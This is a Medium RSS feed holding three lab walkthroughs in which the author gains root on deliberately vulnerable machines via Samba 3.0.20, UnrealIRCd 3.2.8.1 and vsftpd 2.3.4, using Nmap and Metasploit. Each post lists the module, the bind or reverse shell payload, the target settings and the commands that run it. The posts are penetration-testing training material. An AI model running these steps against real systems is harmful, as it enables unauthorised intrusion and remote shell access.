<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anas Khan on Medium]]></title>
        <description><![CDATA[Stories by Anas Khan on Medium]]></description>
        <link>https://medium.com/@shamim93208?source=rss-ad878011996f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*QFxiuMPQGx3GOBHo</url>
            <title>Stories by Anas Khan on Medium</title>
            <link>https://medium.com/@shamim93208?source=rss-ad878011996f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 05:31:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shamim93208/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Port 445 Exploitation: Gaining Root Access via Samba 3.0.20 usermap_script Vulnerability]]></title>
            <link>https://medium.com/@shamim93208/port-445-exploitation-gaining-root-access-via-samba-3-0-20-usermap-script-vulnerability-e6dcc9d0f7ba?source=rss-ad878011996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6dcc9d0f7ba</guid>
            <dc:creator><![CDATA[Anas Khan]]></dc:creator>
            <pubDate>Tue, 19 May 2026 10:20:48 GMT</pubDate>
            <atom:updated>2026-05-19T10:20:48.778Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qZ7mh6Y9YVn7i6nFmtq4ag.png" /></figure><p>In this lab, I performed a <strong>complete penetration testing workflow</strong> against a vulnerable machine and successfully gained <strong>root access</strong> by exploiting <strong>Samba 3.0.20 on Port 445</strong>.</p><p>What makes this interesting is not just the exploit, but how <strong>multiple exposed services increased the attack surface</strong>.</p><p><em>🔍 Recon → Scan → Enumerate → Exploit → Root Access</em></p><h3>Step 1: Full Port Scanning (Attack Surface Discovery)</h3><p>I started with an Nmap scan to identify open ports and services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*I0WucU_ymNJG6bDJn1CW4A.png" /></figure><h3>⚡ 2. msfconsole (Metasploit Framework)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*oHvZpeTK6xa3Akq5WssXHQ.png" /></figure><pre>msfconsole</pre><h3>🧠 What it does:</h3><ul><li>Launches the <strong>Metasploit Framework</strong></li><li>Used for:</li><li>Exploitation</li><li>Payload generation</li><li>Post-exploitation</li></ul><h3>🔍 3. Searching for Exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*b08uAdbuJLRbEqbT5eKXCg.png" /></figure><pre>search samba 3.0.20</pre><h3>🧠 What it does:</h3><ul><li>Searches Metasploit database for exploits related to:</li><li>Samba</li><li>Version 3.0.20</li></ul><h3>🎯 4. Using the Exploit Module</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*zLIqyEphb65FdW39jLi6Cg.png" /></figure><pre>use exploit/multi/samba/usermap_script</pre><h3>🧠 What it does:</h3><ul><li>Loads the exploit into memory</li><li>Prepares environment for execution</li></ul><h3>💣 5. Setting Payload</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FoR4oFVZu6hK_k-8hNCPVg.png" /></figure><pre>set payload cmd/unix/bind_socat_udp</pre><h3>🧠 What it does:</h3><ul><li>Chooses how you want access to the system</li></ul><h3>🔍 Bind Shell:</h3><ul><li>Target opens a port</li><li>Attacker connects to it</li></ul><h3>🎯 7. Setting Target IP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*SyXks5zafQx9bjjTKsrA8A.png" /></figure><pre>set RHOSTS 192.168.0.101</pre><h3>🧠 What it does:</h3><ul><li>Specifies <strong>target machine IP</strong></li></ul><h3>🚀 8. Running the Exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*8o5b95Ujug-QCzUATiHKMw.png" /></figure><pre>exploit</pre><h3>🧠 What it does:</h3><ul><li>Executes:</li><li>Exploit + Payload together</li></ul><h3>🔥 Behind the scenes:</h3><ul><li>Sends malicious request to Samba</li><li>Exploits vulnerability</li><li>Executes payload</li></ul><h3>🚀 What We Achieved</h3><ul><li>🔍 Identified multiple open ports using Nmap</li><li>🎯 Analyzed attack surface and prioritized <strong>SMB (Port 445)</strong></li><li>🧠 Discovered vulnerable <strong>Samba 3.0.20 service</strong></li><li>💣 Mapped vulnerability to <strong>usermap_script RCE exploit</strong></li><li>⚙️ Successfully executed exploit using Metasploit</li><li>💻 Gained remote shell access on target system</li><li>🔐 Achieved <strong>root-level access (uid=0)</strong></li><li>📂 Performed basic post-exploitation enumeration</li><li>🔁 Established a more stable reverse shell connection</li></ul><p>#CyberSecurity #EthicalHacking #Pentesting #Metasploit #Samba #Port445 #VAPT #KaliLinux #Infosec</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6dcc9d0f7ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Analyzed IRC Port 6667 (UnrealIRCd 3.2.8.1) Using Nmap & Metasploit — Step-by-Step]]></title>
            <link>https://medium.com/@shamim93208/how-i-analyzed-irc-port-6667-unrealircd-3-2-8-1-using-nmap-metasploit-step-by-step-8f09b9a7ce63?source=rss-ad878011996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f09b9a7ce63</guid>
            <category><![CDATA[port-21]]></category>
            <dc:creator><![CDATA[Anas Khan]]></dc:creator>
            <pubDate>Sun, 10 May 2026 10:42:57 GMT</pubDate>
            <atom:updated>2026-05-10T10:42:57.405Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PpBYciu6jdoKcyI3Hn05w.png" /><figcaption>“Port 6667 Explored — From Scan to System Access”</figcaption></figure><p><em>A beginner-friendly walkthrough of network scanning, service analysis, and vulnerability testing in a controlled lab environment</em></p><p>What can an open port really reveal?</p><p>In this hands-on lab, I explored how an exposed service on <strong>IRC Port 6667</strong> can lead to potential security risks.<br> This blog walks through the <strong>complete penetration testing workflow</strong>, from scanning to system interaction — performed entirely in a controlled lab environment.</p><blockquote><em>⚠️ This project is for educational purposes only.</em></blockquote><h3>Step 1: Network Scanning</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*X7NoDcKp7na_fAOpGzAbZg.png" /><figcaption>Nmap scan showing open ports including IRC (6667)</figcaption></figure><h3>Command</h3><pre>nmap 192.168.0.117</pre><h3>📌 Explanation</h3><p>Scans the target system to identify open ports and running services.</p><h3>🎯 Step 2: Identifying Open Ports</h3><p>From the scan, the following ports were discovered:</p><ul><li>21 → FTP</li><li>22 → SSH</li><li>80 → HTTP</li><li>3306 → MySQL</li><li><strong>6667 → IRC (Target Focus)</strong></li></ul><h3>⚙️ Step 3: Launching Metasploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*0p6cPwlGolgESi9MNwV16g.png" /></figure><blockquote><em>🖥️ Command</em></blockquote><pre>msfconsole</pre><h3>📌 Explanation</h3><blockquote><em>Starts the Metasploit Framework for vulnerability testing.</em></blockquote><h3>🔎 Step 4: Searching for Vulnerability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWXAHrsT0MCRhurTa4GVcQ.png" /></figure><h3>🖥️ Command</h3><pre>search ircd 3281</pre><h3>📌 Explanation</h3><p>Finds available modules related to UnrealIRCd vulnerabilities.</p><h3>💣 Step 5: Loading Exploit Module</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*CgG4gQUC17LI0KEnUsp84Q.png" /></figure><h3>🖥️ Command</h3><pre>use exploit/unix/irc/unreal_ircd_3281_backdoor</pre><h3>📌 Explanation</h3><p><em>Loads the exploit module for configuration.</em></p><h3>Step 7: Setting Configuration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*B4NaGOtyaIeuArBQEd_O1g.png" /></figure><h3>🖥️ Command</h3><pre>set target 0<br>set payload cmd/unix/reverse<br>set RHOSTS 192.168.0.117<br>set LHOST 192.168.0.102</pre><h3>📌 Explanation</h3><p>Configures the target system, payload, and local machine details.</p><h3>🚀 Step 8: Executing the Process</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*mJMmY2_2QoA-sAVFHIkj7g.png" /></figure><h3>🖥️ Command</h3><pre>exploit</pre><h3>📌 Explanation</h3><p>Executes the configured module in the lab environment.</p><h3>📊 Workflow Summary</h3><ol><li>Network scanning (Nmap)</li><li>Open port identification</li><li>Service analysis (Port 6667)</li><li>Vulnerability lookup</li><li>Tool usage (Metasploit)</li><li>Configuration</li><li>Execution</li><li>Result verification</li></ol><h3>🔐 Key Learnings</h3><p>✔ Open ports increase attack surface<br> ✔ Outdated services can introduce vulnerabilities<br> ✔ Structured methodology is important<br> ✔ Cybersecurity requires responsible usage</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f09b9a7ce63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting FTP Port 21 (vsftpd 2.3.4): A Complete Nmap to Metasploit Walkthrough.]]></title>
            <link>https://medium.com/@shamim93208/exploiting-ftp-port-21-vsftpd-2-3-4-a-complete-nmap-to-metasploit-walkthrough-d57968c119f8?source=rss-ad878011996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d57968c119f8</guid>
            <dc:creator><![CDATA[Anas Khan]]></dc:creator>
            <pubDate>Fri, 08 May 2026 12:54:08 GMT</pubDate>
            <atom:updated>2026-05-08T12:54:08.773Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Introduction</strong></h3><p>What actually happens after you run an Nmap scan?<br>How do ethical hackers move from <strong>just seeing open ports</strong> to actually <strong>gaining root access</strong>?</p><p>In this hands-on walkthrough, I’ll show you exactly how I:</p><ul><li>Scanned a local network</li><li>Identified a vulnerable machine</li><li>Discovered a critical vulnerability</li><li>Exploited it using Metasploit</li></ul><p>By the end, you’ll understand the <strong>real workflow of a penetration tester</strong>.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> This guide is strictly for educational purposes. Only practice in authorized lab environments like Metasploitable.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*S_hTjPF5uUb7afoKudvS5Q.jpeg" /></figure><h3><strong>1. Nmap Network Scan</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*CsAZZ8zATfFRkp07PXXRWw.png" /></figure><ul><li>nmap → Tool used for network scanning.</li><li>192.168.0.0/24 → Entire subnet (range of IPs).</li></ul><h3>What it does:</h3><ul><li>Scans all devices in the network</li><li>Finds <strong>active hosts</strong></li><li>Shows <strong>open ports and services</strong></li></ul><h3>2. NetBIOS Scan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*sWnYFKMuLwWNoaOfOz3Wag.png" /></figure><ul><li>nbtscan → Tool to scan NetBIOS information</li><li>192.168.0.117 → Target machine IP</li></ul><h3>What it does:</h3><ul><li>Retrieves <strong>machine name</strong></li><li>Shows <strong>network-related details</strong></li></ul><h3><strong>3. Nmap Vulnerability Script</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*TW9eseR8OtlWWDpH3K0nsQ.png" /></figure><ul><li>--script → Runs a specific Nmap script</li><li>ftp-vsftpd-backdoor.nse → Script to detect vsftpd vulnerability</li></ul><h3>What it does:</h3><ul><li>Checks if FTP service is vulnerable</li><li>Specifically looks for <strong>vsftpd 2.3.4 backdoor</strong></li></ul><h3><strong>4. Start Metasploit</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*oHvZpeTK6xa3Akq5WssXHQ.png" /></figure><p>msfconsole → Command used to launch the <strong>Metasploit Framework</strong></p><h3>What it does:</h3><ul><li>Opens the <strong>Metasploit interface</strong></li><li>Provides access to:</li><li>Exploits</li><li>Payloads</li><li>Auxiliary tools</li></ul><h3>5. Search Exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*eLwOCTC92yF1X2Pc9rSlaA.png" /><figcaption>“msf command &gt; search vsFTPd 2.3.4”</figcaption></figure><ul><li>search → Finds exploit modules</li><li>vsFTPd 2.3.4 → Keyword for vulnerability</li></ul><h3>What it does:</h3><ul><li>Finds matching exploit for the vulnerability</li></ul><h3><strong>6. Use Exploit</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*hYHreItpo-0gr2S5AnINqg.png" /></figure><ul><li>use → Selects an exploit</li><li>Path → Specific exploit module</li></ul><h3>What it does:</h3><ul><li>Loads the exploit into Metasploit</li></ul><h3><strong>7. Set Target (RHOSTS</strong>)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*ob-MF_YFTv0EQhOpLITiCw.png" /></figure><p>RHOSTS → Remote host (target machine)</p><p>LHOST → Local host (your machine)</p><h3>What it does:</h3><ul><li>Tells Metasploit <strong>which system to attack</strong></li></ul><h3><strong>8. </strong>Run Exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KoCwZvYptync8AZJyb_KAg.png" /></figure><p>Executes the selected exploit</p><h3>What it does:</h3><ul><li>Sends payload to target</li><li>Tries to gain access</li></ul><h3>9. Result (Meterpreter Session)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*grHAx7QE0Rx6XvsK8Tx4uQ.png" /></figure><h3>What happens:</h3><ul><li>A <strong>Meterpreter session</strong> opens</li><li>You get <strong>remote shell access</strong></li><li>In this case → <strong>root access</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d57968c119f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>